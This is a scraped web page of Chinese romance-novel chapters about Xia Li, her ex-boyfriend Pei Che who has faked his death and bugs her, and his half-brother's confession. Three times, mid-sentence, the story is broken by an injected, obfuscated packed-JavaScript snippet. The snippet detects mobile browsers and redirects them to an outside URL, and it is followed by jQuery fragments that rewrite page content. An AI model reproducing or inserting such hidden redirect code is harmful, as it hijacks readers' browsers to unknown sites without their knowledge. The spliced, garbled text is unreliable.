单芳琪摸摸她秀丽的长发,“扔了就扔了吧,可怜你这孩子当初一片苦心,精心为他挑选的礼物并没有受到他的珍视。” “实不相瞒,其实我问过大师,大师说裴澈死得太蹊跷,怨气重,需要把他所有的东西都烧掉处理,以免他去祸害别人。你能告诉阿姨,你是什么时间什么地点扔的吗?东西可能找不回来了,阿姨带着大师去那里做做法。” 夏梨在心里骂她神经。文明社会,搞得神经兮兮的,而且人没死,堂而皇之地就住进她家里了,单芳琪究竟是把她当傻子还是心里有鬼啊? 夏梨做苦思冥想状,“让我想想……地点应该是……城西郊?园区里有一家叫tender的咖啡店,欸不对,好像是就在裴澈平时住的那套房子外面,抱歉啊阿姨我当天喝了点酒记不太清具体是在哪里了,我就记得是晚上,有咖啡的香气……时间嘛,四个月前,大概是二月……二月几号来着,应该是二月二十号左右。” 城西郊的tender到裴澈日常住的那套房子距离有二十多公里,这就算了,单芳琪根本不知道夏梨所说的裴澈平时住的房子是哪套,她压根没关心过裴澈。现在再追问反倒显得她先前关心继子的人设立不住,到时候问问管家好了。 又寒暄了一阵,夏梨坐不住了想走,单芳琪看起来也不想再留她,估计急着去翻垃圾桶。 夏梨先站起来,“今天打扰您了阿姨,我还是先回去了。” “留下来吃晚饭吧,新请的英国厨子,做饭可好吃。” 英国厨子,做饭好吃? 夏梨礼貌微笑摇头,“不用了,这里到处都是裴澈的气息,我再待下去怕触景生情,我能去裴澈的房里再看一眼吗?” 单芳琪当然说没问题,带着她乘电梯去裴澈的房间。 裴澈的房间是除去裴致航的房间以外东边最大的一间房。双推门推开后,里面干净得纤尘未染,夏梨根本看不到人居住的痕迹,不过他确实回来得少。 夏梨在房间里转了一圈,单芳琪没有要走的意思,一步一步跟着她,好像怕她偷东西在监视她。 “阿姨,我能自己看看吗?” 单芳琪显然有些犹豫,夏梨湿润着眼眶说:“我想单独和他道别。” 夏梨都这么说了,单芳琪也没有理由继续待在这里。尽管不愿意,她还是把门轻轻拉上柔声说:“你要是有什么事就叫我们。” 夏梨点点头,但这房间里真是一件属于裴澈的东西都看不到。她猜测这家人估计早就已经把裴澈值钱的东西都搜刮完,不值钱的也早就全都扔掉了。 夏梨皱起眉头坐下,忽然觉得裴澈有点可怜,但也只有一瞬间。 不知道是房间里太久没住人少了丝人气的缘故还是这房间没开窗显得太过沉闷。夏梨进来没多久就越发感到难受,先前咽下去的太妃布丁依旧还缠绵在她的喉头,甜腻得令她想吐。 夏梨想起上次来分明还不是这样,至少她之前送给他的东西他还摆在床头柜上,尽管和他房间的风格并不符合。 她一下侧躺在沙发上,视线落在不远处的地毯上,眼神涣散失焦,失焦,再失焦……直到眼睛的左上角忽然出现一个什么东西。 夏梨定睛一看,裴澈的床板下为什么有一块颜色和别的部分颜色不太一样? 那东西很隐蔽,夹在他床板下的某个缝隙之间,床底的光线也不足,如果不是夏梨在晚上的视力也很好的话,她是看不到的。 她盯着那处缓慢起身,看了眼门口,确认自己在门缝的死角,静悄悄走过去。 她伸长手往里够了够,艰难从缝隙中抠出那个毛茸茸的东西。这是之前裴澈从她这里抢走的达菲熊挂件,当时他抢走后怎么都不肯还给她,说要挂在车上,后来是挂在他的迈巴赫上了,但现在什么意思?分手后她的东西就只配塞在床底了? 夏梨越想越窝火,她用力一握,玩偶在她手中被压扁。 同时间戴着耳机的裴澈,耳机里传来一道刺耳的声音,他连忙扯下来,揉了揉耳朵。 被发现了? 玩偶的眼睛把夏梨的手心硌得有点疼,她生气地将达菲熊扔进包里,再也不想在这里待下去,推开门就走。 刚出门,一道男声在她身侧低沉响起:“还对我哥念念不忘?” 男人背靠墙斜站着,嘴里叼着一根 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626936|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有点燃的香烟,修长的手指间一只黑金配色的DuPont打火机正在跳跃。 夏梨下午刚和单芳琪一起哭过,脸上不可避免地残留着泪痕。 她抬头看了眼裴述,和他同父异母的哥哥裴澈不同,裴述长得要阴柔一些,五官无疑是貌美的,但看久了会觉得这个人阴恻恻的。 现在裴澈死了,裴家所有的大小事务都已经由裴述接手。 她和裴家人没什么好说的,直接无视裴述绕开。 裴述看到她哭过的脸,心口忽地一紧,把烟从嘴里摘下来,随手往地上一扔,迈开长腿追了上去。 “你哭了?为什么要哭?为了他这种人不值得的。” 夏梨按了电梯,站在正中间静静等待,依旧没有理裴述。 裴述悲戚地看着她,轻轻喊了一声:“姐姐……他不值得你为他哭。” “你和妈妈的聊天对话我都听到了,他竟然那样对你。他怎么敢那样对你?如果是我的话绝对舍不得你受一点伤害。” 夏梨终于舍得看他一眼,但眼神并不怎么友好。这时电梯到了,夏梨走进去直接按下一楼。 裴述赶忙跟了进来。 “姐姐,我哥他已经死了,人死不能复生,何况他对你也不怎么样,为什么……为什么不能好好看看我呢?” 他说到最后,嗓子有些哑,带着一点点哭腔。 夏梨缓缓转头看向他,盯了他好一会儿,直到电梯抵达一楼门开了。 裴述的呼吸随着她看过来的那一眼短暂屏住。 夏梨给了他一个微笑的弧度:“好了,我好好看过你了。” 单芳琪在一楼等着,看到裴述跟着夏梨一同出来,顿时喜上眉梢。 “小述什么时候回来的?正好,你开车送送你夏梨姐姐吧。” 夏梨连忙拒绝:“不用……” 一旁的裴述在听到单芳琪说的这句话便立刻跑去开车,冲夏梨扬起一个笑脸。 “姐姐你等等我。” 夏梨拒绝的话还没来得及说出口,人已经跑得没影。她转念一想,不坐白不坐,他要送就让他送好了。 裴述特意没让司机开车,亲自送夏梨回家。 坐上裴述的车,夏梨平静系好安全带后扔给他一句话:“不准和我说话。” 裴述很听她的话,果真没有说话,第一次开车心跳得这么快,这还是夏梨第一次坐他的副驾,他开始幻想,等会儿车座上会不会留下一根她馨香的头发。 忍不住在红绿灯的时候扭头看她,她看着窗外,留给他一个后脑勺,他只能看见她若隐若现的带着粉的耳朵尖,还有那颗璀璨的珍珠耳钉。 送她回去的这段路并没有多长,裴述原本想绕路,没敢,还是老老实实按照平时的那条路线把她送回了家。 夏梨松开安全带,礼貌客气地说了句谢谢,就要下车。 裴述一把抓住她的手腕,很细,体温比他低,很温润的触感,他口干舌燥地小心缩回手。 “姐姐,我不是故意的。” “有什么事?” 夏梨不动声色缩回手,手腕处温度发着烫,不太舒服。 “姐姐……”他像是下定了决心才开口:“我现在已经是裴家的掌舵人,我的财力足够你任意挥霍,我的能力也足够保护你。其实我喜欢你很久了,姐姐你能看看我吗?至少不要这么抗拒我可以吗?” 刺啦—— 电流声响起,窃听器彻底报废。 裴澈再次把耳机扔开,不耐烦地站起来,一股躁意从心底升起,什么时候坏不好,这时候坏? 7. Chapter.7 夏梨看得出来裴述对自己的感情,她在感情里并不迟钝。 从她第一次来裴澈家做客的时候她就发现裴述的眼神不善。她猜测裴述和裴澈之间的关系应该不怎么样,直到她独自一人的时候,裴述上前和她搭话。 尽管裴述当天穿得人模狗样,但一身高定西装也掩盖不了他开屏的事实。刻意展示的下颌线,不知所踪的领带,衬衣扣子解开两颗,锁骨深陷,还有他呼吸带动的大弧度起伏的胸肌。 太夸张了,夏梨当时感到太阳穴的血管突突地跳。 夏梨也有弟弟,知道兄弟姐妹之间也会有明争暗夺,只不过普通人家的小孩可能就是小打小闹,放到大家族里就不一样了。 裴述心思不单纯,当初在她面前开屏就掺着假意,现在谁又知道他有几分真心。 裴述说完这些话静静等待夏梨的反应,时间每过去一秒都像是对他的一场酷刑。 裴述心脏有些承受不住。 夏梨没忘记时时刻刻立住自己给裴澈哭丧的人设。她静默后说:“你对得起你哥哥吗?他尸骨未寒你就对我说这种话?” 裴述脱口而出:“你们已经分手四个多月了。” “哦,原来你还知道我们分手四个多月了啊?偏偏等到裴澈死了你才来和我告白,你害怕他?” 裴述愣住,随后又有些恼火,最后只能妥协般的说:“我找过你,你不见我。” 夏梨双手一摊,“那你不是应该很明白我的意思了吗?” 说不过夏梨,一到夏梨这里,裴述的脑袋就宕机。 在他还在想接下来该怎么回答的时候,夏梨已经打开门下了车,车门嘭的一声结束了他们的对话。 夏梨走入别墅外的大门,穿过小花园,抬头看了眼自己的房间,窗帘是她早上打开的,没看到什么可疑的人,不知道裴澈回来没有。 不回来最好,不然她一定会打死他。 今天奇怪,进门的时候陈阿姨没有过来接她,平常早就跑来开门了。 夏梨换好鞋刚走出玄关,正对着玄关的沙发上,一位年轻女人坐得端正威严猝不及防出现在她的视线里。而陈阿姨就站在女人身旁,大理石的几面上放着陈阿姨的手机。 夏梨点亮自己的手机,没有新消息提示,难怪她没有收到陈阿姨的消息,原来手机都被没收了。 夏语筠头发挽起低发髻,五官细看没有夏梨惊艳,但依旧足够漂亮,她气质高贵,连夏梨都总是忍不住多看她两眼。 “来了怎么不说一声,晚上要留下来吃饭吗?”夏梨知道她来准没好事,但还是尽量放松一些,毕竟这是自己家。 她去厨房拿起自己的杯子接水喝,慢悠悠走过来坐到夏语筠的对面,看到她面前连水都没有,连忙要陈阿姨去给她泡茶。 “不用了,”夏语筠说:“我就来和你说两句话就走,陈阿姨去忙吧。” 待陈阿姨的身影彻底离开,夏语筠站起来下达命令,“去你书房说。” 夏语筠身高比夏梨高,有常年健身的习惯,身材很好,尤其今天穿着职业套裙,夏梨觉得她腿比自己的命都长。 从夏梨的角度看来,她的外形乃至履历都太完美了。从不露出和善的表情,天然的精英群体,夏梨有时候会有那么一点点怵她。 夏梨只好站起来随着她到一楼的书房里坐下。她今天下午应付单芳琪真的很累了,坐下就没了骨头,不像夏语筠上一天班还能坐得笔直。 “爸爸知道你大闹裴家的葬礼,很生气。” 夏梨提气抿唇长长吐出一口气,她当然知道这件事爸爸迟早会知道。 “好吧。”夏梨有些偃旗息鼓。 夏语筠接着说:“本来他今天要来的,我没让他来,我说我来劝劝你。你知道他那个脾气来了会发生什么。” “知道。”夏梨抱着膝盖说。 夏语筠叹口气:“他的意思是你不要再和裴家的人有任何来往了,他丢不起这个人。” 夏梨终于抬眼重新看向夏语筠,欲言又止,最后还是什么都没说。 “你不用看我,我没有煽风点火。” “我知道你没有。” 可你说话就是管用,夏梨想。 短暂沉默,夏语筠先开口: “语灵,抽空去见见他,向他表一下你的决心,你也该回公司了。这周末是奶奶过寿,这时候向爸爸道歉他不会苛责你的,第二天正好参加奶奶的寿宴。这是你和他们和好的最佳时机。” 夏梨听到她这番话有点难受,忍不住说:“……别叫我语灵,还有我不想见奶奶,她又不喜欢我,见到我又要念叨我不懂规矩。还有公司……我没能力,别指望我了。” 书房安静了有近一分钟,语筠见夏梨情绪稍平复了一些才接着说:“首先,你户口本上的名字是夏语灵,梨这个字已经是过去式;其次,奶奶的确强势且严格,但她其实很关心你,她并不是只对你苛刻,夏家所有的孩子都受过她的责骂;最后,你是夏家的亲生孩子,公司的事务你必须清楚。” 夏梨锁着眉头,无措揪着裙摆,脑海中闪过四个月前发生的一幕,眼眶里渐渐开始闪动。 “我努力过了,没有用。不过还是谢谢你今天亲自来和我说,我会好好准备的。” “辛苦你了。”夏语筠说:“暂时没有别的事,我先走了。哦,最后提醒你一遍,至少在寿宴前,你不要再有任何出格行为。” “知道了。”夏梨侧头去看窗外渐沉的落日。 “那我走了。” 夏梨嗯了一声,也没起身送夏语筠,窝在沙发里看着窗外。 陈阿姨在外面把夏语筠送走,花园的小径上传来夏语筠高跟鞋渐行渐远的噔噔声。 夏梨歪倒在沙发上,眼角落下来一滴不争气的眼泪。 陈阿姨在做完晚餐后来叫夏梨吃晚餐,发现她睡着了。她整个人蜷缩着浸泡在一片橘红色的夕阳下,有细小浮尘在光束下轻盈飞舞,把她的皮肤照得透亮。 陈阿姨小心翼翼去客厅拿来毛毯盖在夏梨身上。 夏梨今天落下的眼泪大概已经严重超标,哭久了就会困,她都不知道自己究竟是什么时候睡着的。 睁开眼睛的时候,她的意识有些混沌,分不清今年到底是哪一年,现在是什么时间。 她晕乎乎看着天花板,直到余光里忽然出现了下半身只穿了一条浴巾的裴澈。 他浑身都蒸着一层水汽,头发微湿,身上的肌肉线条纹理很漂亮,那是他坚持锻炼的成果。 夏梨只要在这个点睡觉时间过长,头脑就会产生很强的混沌感,以至于她在看到裴澈的时候,恍惚以为他们还在一起。 “醒了?饿不饿?” 裴澈先说话,走到她的床边坐下。 “你什么时候来的?”夏梨撑着身体坐起来,脑袋晕乎乎。 这样的对话对他们曾经来说稀疏平常,夏梨没有发现任何不对劲,只是觉得心里沉沉往下坠,难过的感觉还萦绕在心头。 裴澈觉得她说这话有点奇怪,但没有多想,毕竟他已经在这里住过一晚,今天也出门了,所以她问这个很正常。 “也没多……”话还没说完,夏梨一头栽在他的肩膀上,裴澈身体僵了一瞬,先是以为自己美男计有作用了,后来反应过来可能不是他的美男计有用,是夏梨刚睡醒又进入待机模式了。 他自然而然地将手放在她的背脊上,在不知不觉中,慢慢收紧手臂的力道,把夏梨牢牢锁在怀里,侧过头贪婪呼吸她的香味。 夏梨靠在他的肩头,闻着熟悉的沐浴露香气,感觉神经松懈下来,下意识喃喃道:“好累……” 话刚脱口而出,脑海中仿佛有火花刺啦一下点燃,夏梨终于想起来她是因为谁才这么累的了。 而裴澈浑然不觉,他亲昵地蹭蹭夏梨的头,“怎么这么累呢?” 火势逐渐蔓延到胸口,夏梨在裴澈还没反应过来的时候,猛地推开他,啪地一下给了他一巴掌。 裴澈的脸被她扇着偏向一边,他猜想,夏梨大概是没打过人,力都使不对,该用掌心去掴他,可她太着急出这一掌,只是用指头擦过他的脸,顺带用她稍长的美甲刮了一下。 脸会在这一刻有点火辣,但也只是一点点而已,那种热辣的感觉很快消失,只有时不时的刺痛在他脸上弹跳那么一下。 裴澈有点没过瘾,鼻尖嗅觉灵敏,手上涂了什么,这么香? 醒了就不好玩了,刚刚睡得迷迷糊糊栽进他怀里的时候多可爱。 夏梨已经下床站好,眉头皱在一起,今天发生过的事情在她脑海里越发清晰,在发现达菲熊被他塞在床底时的火气就在这一刻爆发。 她甩甩手,一拳就要打在裴澈脸上,裴澈练过拳击反应迅速,一掌握住她的小手,眉峰轻轻挑起,嘴角的笑意一直没消失,“不错的招式,就是慢了点。” 夏梨下床的时候没来得及穿鞋,或者说她压根没找到自己的鞋在哪,她想起来自己是在一楼书房睡着的,但是完全不知道为什么醒来的时候在卧室床上。现在也没空管这个,她的目标是裴澈。 她抬起脚就踹在裴澈的肚子上,不是胃疼吗?疼死你。 裴澈对她没有防备,又或者说特意让给她一点施展拳脚的机会,这一脚着实挨了一下,但也没多痛,只是还是弯了下身子。 夏梨趁着他弯下身的这一秒,摆脱了他的手,实在气不过又上前给了他一巴掌。 手心麻,夏梨顾不上手心的辣痛感,双手握拳,目标是裴澈的肚子。谁知道这么两拳下去裴澈的腹肌这么硬啊,她的手背都有点疼了,但至少气势上不能输吧,大不了再给他两巴掌好了。 裴澈猜到她要做什么,先绷着身子让了她两拳,两拳之后他一手握住她的一个拳头,都没用什么力气,分开她的手把她往前拉,再往腰后一收。夏梨整个人跟着往前走了两步,双臂环住了他的腰。 她双膝跪在床沿,等同于虚空跨坐在他的身上,这样一来反而更让她生气了。 她想起以前,她从来没有打赢过裴澈,而裴澈常常是放水似的和她玩闹,任由她捶打,最后的结果虽然都是他认错,但自己输得也很窝囊。 而现在,因为裴澈将她的双手束缚在自己的腰后,两人的距离就更近了。 夏梨尝试着扭动了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626937|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两下,没挣脱。裴澈把她的手抓得很紧,她又不想贴上他,所有的着力点都集中在两个膝盖上,她太用力保持自己与裴澈之间的距离,两条腿在微微发颤。 裴澈注意到了她发颤的腿,他锁紧了眉头,开始思考一个问题,她今天去裴家究竟发生了什么才会忽然打人。 是单芳琪和她说了什么给她洗脑了,还是最后裴述和她说了什么让她产生动摇,她要和裴述在一起了? 该死,那个窃听器什么时候坏不好,偏偏在那个时候坏,他没听到夏梨的回答。 她不会真的要和裴述在一起了吧? 两人僵持不下,夏梨怒视着他,咬着牙说了三个字,“放开我。” 裴澈不能问她和裴述的事,只好问:“单芳琪欺负你了?” “欺负我的只有你吧。” 夏梨一边回答一边扭动,手腕在他的手掌心里被抓得发烫。 裴澈似乎已经没有兴趣再陪她玩这种幼稚的小游戏了,他猝不及防又将夏梨的手往后猛地一拉。 夏梨毫无预兆地膝下一滑,重心跌落,整个人坐到他的怀里。 她的脸贴着裴澈的胸膛,听见他的心跳,咚咚地,健康有力,他竟然真的没有死。 贴近的距离令裴澈感到安心,他松了一口气,却又不可抑制地烦躁起来,他到底错过了什么。 “到底怎么了?” 夏梨不想质问他达菲熊的事,这很像打情骂俏,她完全不想给他这种错误暗示。 她咬着下唇倔强不说话,每次惹到她都这样,就是瞪着你,好像一双眼睛就能把你瞪死。 裴澈觉得自己也可以假装早就到家,他试探性地问:“下午是裴述送你回来的?” 哦,原来他那时已经回来了。 夏梨反问他:“有什么问题吗?” “你离他远一点,他没有表面看起来那么单纯。” 夏梨觉得裴家可能有什么基因缺陷或者家族传统,两兄弟相互诋毁对方,互相说对方不是什么好东西。 她最喜欢看狗咬狗,所以很愿意煽风点火,把两人关系搅乱。更何况,裴澈又是她的谁,他管自己要和谁交往呢? 夏梨嗤笑一声,“我就喜欢坏种,我就要和不单纯的人一起玩,你管得着我?” “我看你到了还一直不下车,你俩在车上说什么,要这么久时间?” “我和他商量婚事呢你别管。” “夏语灵。”裴澈忽然之间叫她的大名,还是一个字一个字往外蹦的。 “裴澈。”夏梨还给他同样的说话方式。 裴澈深吸一口气,“我没和你开玩笑,离他远一点。” “谁和你开玩笑了,这是我的自由你管不着。” 裴澈胸膛剧烈起伏,夏梨抻着脖子离开他,看到他绷着的脸,知道这是他生气的前兆,她却一点不怕他,怒意中反而生出一丝愉悦。 “你生气了。”她肯定地说:“你最好要气到发疯有还手的力气,因为我今晚一定要打死你。” 裴澈脑子灵光乍现,难以置信地问:“你刚刚是为了裴述打我?” “我这是替天行道,像你这种人渣竟然也配活着!” 裴述算什么东西,也值得她动手打人,最好他们两人打架一起去死。 裴澈感到一阵抽恸,这下耐着心说:“好了,不要和我闹了,我知道你还在气我分手时没有挽留你,都是我的错。当时不是不想挽留,我有别的原因,之后会和你解释的。” 夏梨感到可笑,她从来都不需要他的挽留,她要分手就是真的要分手,她最多是觉得裴澈那天的冷漠把她衬得格外傻格外落魄。 “你想太多了,我没这意思。” 裴澈当即就想问她,那她为什么要给他设置灵堂,就连他都遗失的学生证上的照片,她又是哪里来的,还有来参加葬礼时穿得那么漂亮,还戴着他送给她的项链和珠宝,她明明都好好珍藏着却说不爱他。 但他没问,他清楚夏梨的脾气,如果他在这时戳穿她,她一定会炸毛。 裴澈坚信夏梨在和他赌气,于是妥协道:“好,你没这意思。但你不要和他在一起好不好,我很讨厌他。” “你讨厌他关我什么事啊?现在我要和他一起讨厌你!” 裴澈不知道自己是丧失了哪一部分能力,怎么会哄不好怀里的人。明明是想把人哄好的,却又有点贪恋此刻和她贴得这么近的时刻,想着如果哄不好就这么把她锁着也不错。 裴澈定了定神,结合自己的分析结果,确认了夏梨是在和自己置气这个事实,再回头看夏梨刚刚说的那些话,他更加确定夏梨说的是气话无疑。 他似乎没有把夏梨说的话放在心上,又恢复到从前游刃有余的状态,“哦?我劝你不要这么做。” 果然和记忆里一样讨人厌,夏梨只恨现在没有足够强大的力气将他掰倒在地。 她还没有问为什么,只感觉手腕处的力气一松,接着一紧,裴澈用一只手把她的两只手手腕都抓住了。 很快,她的腰间多了一只手的温度。 “如果你非要这么做,我只能撬他墙角了。” 8. Chapter.8 裴澈单手抓住她的力度很大,是为了防止她挣脱逃跑。 夏梨手腕处的痛感渐渐加深,她越发觉得手痒,又想给他一巴掌了。他这是说的什么鬼话,什么叫做他要撬裴述的墙角。 两兄弟撬来撬去的有意思吗?她同意了吗? 她没有办法动弹,暂时忽略腰上那只还没有任何动作的手,闭眼深吸一口气道:“现在是撬墙角的问题吗?当初提分手的人是我,是我不要你了,你先搞清楚这件事。” 话题又绕回来,裴澈原先觉得裴述在这场感情里并不是什么威胁,依据是夏梨从前就对裴述没有什么好脸色,他深知夏梨并不喜欢裴述。 但现在情况又有一点不太一样,毕竟他对外来说已经死亡了。而且夏梨不知道是听了谁的挑唆,现在嘴硬得不行,就是要故意气他。 裴澈盯着她一张一合的嘴巴,回家后她没来得及卸妆,唇釉的颜色已经有点淡了,丝绒的质地,浅浅覆在她的唇上,像是两片刚盛开的粉嫩花瓣。 嘴巴有点痒。 裴澈是尝过的,一开始触碰到的时候是丝滑的,过一会儿嘴唇会湿润。唇釉带着一股淡淡的花香气,会一直缭绕在他的鼻尖勾着他不停索取。 裴澈的眼神让夏梨感到心慌,就好像她是他的食物…… “喂!你到底有没有听我说话?我让你放开!” 夏梨一个人输出得口干舌燥,他却好像压根没有听自己说话。 她以前以为自己很懂这个男朋友,后来才发现,她太自以为是了,裴澈根本就是吃人不吐骨头的怪物。 她打心底来说是害怕裴澈的。她越害怕越是喜欢装作若无其事,大声说话来给自己壮胆。 很巧,裴澈和她在一起这么长时间,也很清楚她是个什么样的人。 她大声的遮掩,实则将自己暴露无疑。 裴澈不由得好心情地勾起嘴角,视线在她脸上逡巡,最后还是生生压下去那股渴望。 现在还不是时候,不然好不容易建立起来的那点微不可查的信任会在今晚消失殆尽。 “我让你放开,你是听不懂吗?” 她看起来凶巴巴的,眼睛瞪得很大,面颊染上一层生动的粉色。 裴澈心下一动,慢慢松了些力道,夏梨立刻就从他的手掌心里钻出来。 手心里此刻空空的,裴澈感到有那么一点点落寞。但还没有从这种情绪中脱离出来,只见夏梨飞速站好,一条腿抬起直冲他的下三路而来。 一声闷哼从裴澈的喉咙中传出。 夏梨冷漠地看着裴澈痛苦地倒在床上,甩甩手腕,揉了揉,她早说了别惹她。 夏梨往后退了两步,从墙角拿来高尔夫球杆,正襟危坐到沙发上。这球杆是她刚搬来就放在这里的,她以前就有这种防范意识,就算现在住到这种安保很严密的高档别墅区也没有改掉。 她胸膛起伏,感觉呼吸不畅,裴澈好像就是专门来给她添堵的。 裴澈大概是缓和了一些,他沉默地坐起来,背对着夏梨,可能在做一些心里建设。 夏梨一点面子没给他留,看到他要站起来了还大声道:“你给我把衣服穿上,像什么样子。” 裴澈身形一顿,站起来后径直走向了他的杂物间。 过去时要经过夏梨身边,那么宽敞一条路不走,非要擦着她的身边走,他像是故意的,夏梨握紧了手中的球杆。 过了会儿,裴澈从房间里出来了,穿了一套丝质睡衣,不知道的还以为他现在已经和夏梨同居在这里住下了。 夏梨这才反应过来,他刚刚没穿衣服。她的意思是她眼睛看到了他没穿衣服,但是脑子没有反应过来,直到他穿上衣服有了对比后才反应过来。 这是从前长期以往熟悉彼此的证据。他们在一起的时候本来就只是为了肉.体上的各取所需,从来也没有什么灵魂上的共鸣。所以她刚刚看到他光着的时候竟然也没有觉得奇怪。 夏梨警惕地看着他,在他还没有坐下的时候就开口赶客:“我已经按你说的帮了你,也不需要你还我钱,你可以走了。” 夏梨决定好了,让裴澈长久以往住在她这里不是个事,她必须要早点把他给打发走,再找家媒体把这事爆料了,这件事不能拖。 裴澈坐下后只是一味地开箱子,听到她这句话后看了她一眼,随后把打开的箱子推过来。 夏梨目瞪口呆看着箱子里的东西,一时间说不出话来。 她的金钱来源是这样的。从前每个月的零花钱是一百万,自从那件事之后她的零花钱被缩减到五十万每月。 除了这些,她手头股份一类的,还有专门的经理人帮她理财,她一直都有稳定进账。 可事实上,她从未见过这些金钱的实体。集团内财务给她转零花钱走的是账户,经理人为她理财走的也是银行账户,她一开始会被那些零所惊叹,次数多了她已经对这些数字无感,就像是一串虚拟的数字罢了。 裴澈推过来的箱子里,一半是美元,一半是金条,她感觉自己的脸都被那些黄金给照黄了。 她微张着嘴,缓慢抬起头,最后才舍得把眼珠从黄金上离开,看向裴澈。 “你什么意思?” 她说话还是很不客气,就算现在已经被这些金钱所蛊惑,也要表现得从容,何况她又不是没钱,她只是没见过这么多现金。 裴澈说:“给你的,泡面钱还有房租。” 夏梨一时半会儿没有动,疑惑地看着裴澈,她现在越来越看不懂裴澈了。 假死已经足够令人震惊,她今天去了一趟裴家,瞎猜一些理由大概率也可以对得上。她以为他是狼狈出逃,过着隐蔽的逃亡生活,朝不保夕,这顿吃了没下顿,穷困潦倒。 结果现在随手推了一个箱子给她,里面装的除了黄澄澄的金子还有美元。 他到底在干什么。 裴澈看见她沉默,猜她大概是嫌钱少。也是,他今天的确比较匆忙,现在手上的流动资金不太多,她看不上也正常。 裴澈:“嫌钱少啊?这是定金,等我离开的时候会付全款。” 夏梨一开始收留他的一部分原因在于她的恐惧,她不知道裴澈要做什么,所以暂时选择妥协;另外一部分原因在于,她想亲眼看着他穷困潦倒又落魄,必要时刻不介意自己给他一刀。可现在她才发现,他的日子可能没有自己想象得那么苦。 怎么说呢,心里有点发堵。 夏梨觉得他在给自己惹麻烦,想赶紧把他的事情做个了结。但转念又想起夏语筠说的那些话,她叹口气,好吧,至少在寿宴之前,不要再自找麻烦了。 只要她揭发裴澈假死的消息,她就是振翅的蝴蝶,必然给海城掀起一阵腥风血雨,到时候说不定还会连累到自己家,更麻烦了。 夏梨叹口气,更加讨厌裴澈了,老给她增加没有必要的工作量,惹来一堆麻烦。 夏梨又看了眼箱子里的黄金,好吧,没有必要和钱过不去。 她“啪”一声将箱子合上,定定看着裴澈道:“的确有点少了。不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626938|172414||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看在你还算有诚意的份上,我不和你计较……你不会给我耍什么阴招,到时候回头告我敲诈勒索你吧?” 裴澈将早就已经写好的自愿赠与书拿给她,“都写好了,具有法律效益。” 夏梨不知道他都已经死了,那里来的法律效益。她没有夏语筠那样的头脑,毕竟夏语筠从小在奶奶身边长大,见惯了商场这些尔虞我诈,她本人更是金融和法律双修。 夏梨扶额,她根本算不过裴澈,不然之前也不会栽了。 她不信任裴澈。 夏梨把箱子推回去,“我不要。谁知道你在这藏着什么陷阱,到时候给我打个措手不及,我根本无力招架。我实话和你说了,我这里不欢迎你,你的钱我一分都不会收,你住在这里的几天,我就当做善事积德了,你尽快想办法从我这里搬出去。” 小财迷不迷财了,这对裴澈来说不是件好事。他转着自己中指上的戒指,看着她十指空空的手指,心渐渐发沉。 两人各怀心思静默了好一阵后,夏梨先打破这份宁静。 “我饿了,先下楼吃饭,你还有事吗?” 裴澈冲她温和一笑,“没有。” 夏梨是光着脚的,她猜想可能是陈阿姨把她抱上来的,所以拖鞋应该还在一楼书房。正要赤脚出去,裴澈说:“你的鞋在床那边。” 没有问他是怎么知道的,夏梨走到那边一看,鞋子果然在。 她一回头,裴澈耸耸肩说:“我不知道,我回来的时候它就在那儿躺着了。” 夏梨穿上拖鞋三两步出房间下楼去。 陈阿姨大概是留心着夏梨的动静,听见她下楼连忙出来。厨房一直煨着她的晚餐,陈阿姨把菜一一端出来。 夏梨向她道谢,说麻烦她把自己抱上楼了。 陈阿姨虽然年纪大了,但据陈阿姨自述,她曾经是运动员,只不过在训练营里受了伤,也因为这个伤错过了比赛。她退役后在俱乐部里任职过一段时间,但毕竟受过伤,最后还是退下来,经人介绍才来到夏家做保姆。 现在她依旧保持着锻炼的习惯,做起事来脚下生风,夏梨丝毫不怀疑陈阿姨有把成年人体重的自己抱上楼的能力。 陈阿姨面带微笑,告诉她不用客气,就是看她缩着睡觉难受才把她抱回了房间。 夏梨不疑有他,开始慢条斯理享受迟来的晚餐。 “阿姨,你晚上有没有听到什么奇怪的声音,或者见到什么奇怪的人?” 陈阿姨摇头,“没有啊,是你感觉有什么不对吗?要不要我和董事长说要她再派点保镖过来。” “不用。”夏梨摇头,“没什么事,我随便问问,您去忙吧。” 晚饭过后,夏梨去了家里的监控室。她不喜欢在房间里安监控的感觉,总感觉时时刻刻被人监视。但房子外围是安了的,夏梨要看看,裴澈到底是怎么进来的。 监控室里有保镖,是奶奶给她安排的,说是为了保护夏梨的安全。但夏梨不喜欢被人监视的感觉,仅剩的一个保镖被她打发到监控室看家。 “大小姐。”保镖站起来,暗自揣测,大小姐从不来这里,不知道今天是来做什么的。 